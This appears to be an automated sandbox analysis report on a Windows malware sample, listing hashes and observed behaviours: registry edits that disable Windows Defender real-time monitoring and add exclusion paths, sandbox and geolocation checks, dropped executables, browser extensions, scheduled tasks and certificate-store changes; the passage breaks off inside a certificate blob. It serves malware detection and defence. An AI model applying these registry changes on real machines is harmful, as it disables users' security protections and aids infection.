Analysis
-
max time kernel
204s -
max time network
234s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
25-04-2024 02:41
Static task
static1
Behavioral task
behavioral1
Sample
65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe
Resource
win7-20231129-en
General
-
Target
65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe
-
Size
6.4MB
-
MD5
48083f28a764d552c591874ec8255897
-
SHA1
6a6f73d45aa90f751c47ba886dda6c0f8c7a440a
-
SHA256
65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585
-
SHA512
f62312f2ed7db1f98c04985135c75d46d86482f2a1c7e457cbe003b35c5d20065eb960fe9a7a0d535380c6cf4cef48ac0f4fbd46b449c4a470ee6e8ba88559ab
-
SSDEEP
98304:91Ofp2zjJY231tFaCYTlZE1JLFSNGw6eJm5JeHxFKw7/X26jOnCB9XmtPtX4S8Bl:91Oh2zjVpYD8vDwJmaHxbS2Os9qP0eEn
Malware Config
Signatures
-
Processes:
reg.exereg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe -
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jDcnSjPvYahU2 = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jDcnSjPvYahU2 = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\mMAjWdbxOIjSziVB = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vGrfpbVBjyUn = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\qpZxqHvFKXpRC = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\heXdjphsLYtTYYrU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\heXdjphsLYtTYYrU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vGrfpbVBjyUn = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\heXdjphsLYtTYYrU = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OJLDvKxDU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\qpZxqHvFKXpRC = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\mMAjWdbxOIjSziVB = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OJLDvKxDU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\heXdjphsLYtTYYrU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe -
Blocklisted process makes network request 1 IoCs
Processes:
rundll32.exeflow pid process 30 2052 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Install.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
NltQOYk.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\International\Geo\Nation NltQOYk.exe -
Executes dropped EXE 3 IoCs
Processes:
Install.execJUtoHq.exeNltQOYk.exepid process 2984 Install.exe 2336 cJUtoHq.exe 2488 NltQOYk.exe -
Loads dropped DLL 8 IoCs
Processes:
65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exeInstall.exerundll32.exepid process 2104 65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe 2984 Install.exe 2984 Install.exe 2984 Install.exe 2052 rundll32.exe 2052 rundll32.exe 2052 rundll32.exe 2052 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
Processes:
NltQOYk.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json NltQOYk.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json NltQOYk.exe -
Drops file in System32 directory 30 IoCs
Processes:
powershell.EXEcJUtoHq.exeNltQOYk.exepowershell.exepowershell.EXEpowershell.exerundll32.exepowershell.exepowershell.EXEpowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini cJUtoHq.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA NltQOYk.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA NltQOYk.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol cJUtoHq.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\4A9377E7E528F7E56B69A81C500ABC24 NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_1D54DE53BDE89F59AF362E74369EB397 NltQOYk.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol cJUtoHq.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357 NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357 NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_1D54DE53BDE89F59AF362E74369EB397 NltQOYk.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_FAD4FA4BE5EA6E868132040E668F6C95 NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat rundll32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_F035812844FEE93DCDCC1CD3A7F24400 NltQOYk.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File created C:\Windows\system32\GroupPolicy\gpt.ini cJUtoHq.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\4A9377E7E528F7E56B69A81C500ABC24 NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_F035812844FEE93DCDCC1CD3A7F24400 NltQOYk.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_FAD4FA4BE5EA6E868132040E668F6C95 NltQOYk.exe -
Drops file in Program Files directory 13 IoCs
Processes:
NltQOYk.exedescription ioc process File created C:\Program Files (x86)\vGrfpbVBjyUn\wbrSNCf.dll NltQOYk.exe File created C:\Program Files (x86)\OJLDvKxDU\UgXLtg.dll NltQOYk.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja NltQOYk.exe File created C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\BfoBUhR.dll NltQOYk.exe File created C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\xzMFtZn.xml NltQOYk.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi NltQOYk.exe File created C:\Program Files (x86)\qpZxqHvFKXpRC\bLsnidR.dll NltQOYk.exe File created C:\Program Files (x86)\OJLDvKxDU\YscuLru.xml NltQOYk.exe File created C:\Program Files (x86)\jDcnSjPvYahU2\fUigbXhLKtjgu.dll NltQOYk.exe File created C:\Program Files (x86)\jDcnSjPvYahU2\QGZgwWd.xml NltQOYk.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi NltQOYk.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak NltQOYk.exe File created C:\Program Files (x86)\qpZxqHvFKXpRC\suvUbLf.xml NltQOYk.exe -
Drops file in Windows directory 4 IoCs
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exedescription ioc process File created C:\Windows\Tasks\bwrroZoeZRoQVpyAcj.job schtasks.exe File created C:\Windows\Tasks\qXnxKrbPbFSTFetyh.job schtasks.exe File created C:\Windows\Tasks\ZPVskaMeORyUtyn.job schtasks.exe File created C:\Windows\Tasks\EJKQCvUwFyvoZzoaf.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 12 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2832 schtasks.exe 1548 schtasks.exe 2564 schtasks.exe 2488 schtasks.exe 2816 schtasks.exe 2568 schtasks.exe 2704 schtasks.exe 3036 schtasks.exe 1076 schtasks.exe 1692 schtasks.exe 2616 schtasks.exe 2856 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
Processes:
Install.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exeNltQOYk.exewscript.exerundll32.execJUtoHq.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings wscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\82-f6-bf-44-47-65\WpadDecision = "0" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{11E9293E-A4D7-48DC-B5DE-6E9D8FF017F5}\82-f6-bf-44-47-65 NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs NltQOYk.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f003c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing NltQOYk.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\82-f6-bf-44-47-65\WpadDecisionTime = 60d20b4eba96da01 rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ cJUtoHq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\82-f6-bf-44-47-65\WpadDetectedUrl rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" cJUtoHq.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft wscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" NltQOYk.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{11E9293E-A4D7-48DC-B5DE-6E9D8FF017F5}\WpadDecisionReason = "1" NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs NltQOYk.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs NltQOYk.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\82-f6-bf-44-47-65\WpadDecisionReason = "1" NltQOYk.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\82-f6-bf-44-47-65\WpadDecisionReason = "1" rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 408a763cba96da01 powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{11E9293E-A4D7-48DC-B5DE-6E9D8FF017F5}\WpadDecisionTime = 60d20b4eba96da01 NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\82-f6-bf-44-47-65 NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings wscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\82-f6-bf-44-47-65\WpadDecision = "0" NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs NltQOYk.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{11E9293E-A4D7-48DC-B5DE-6E9D8FF017F5}\WpadDecision = "0" NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs NltQOYk.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ NltQOYk.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates NltQOYk.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" rundll32.exe -
Processes:
NltQOYk.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C NltQOYk.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2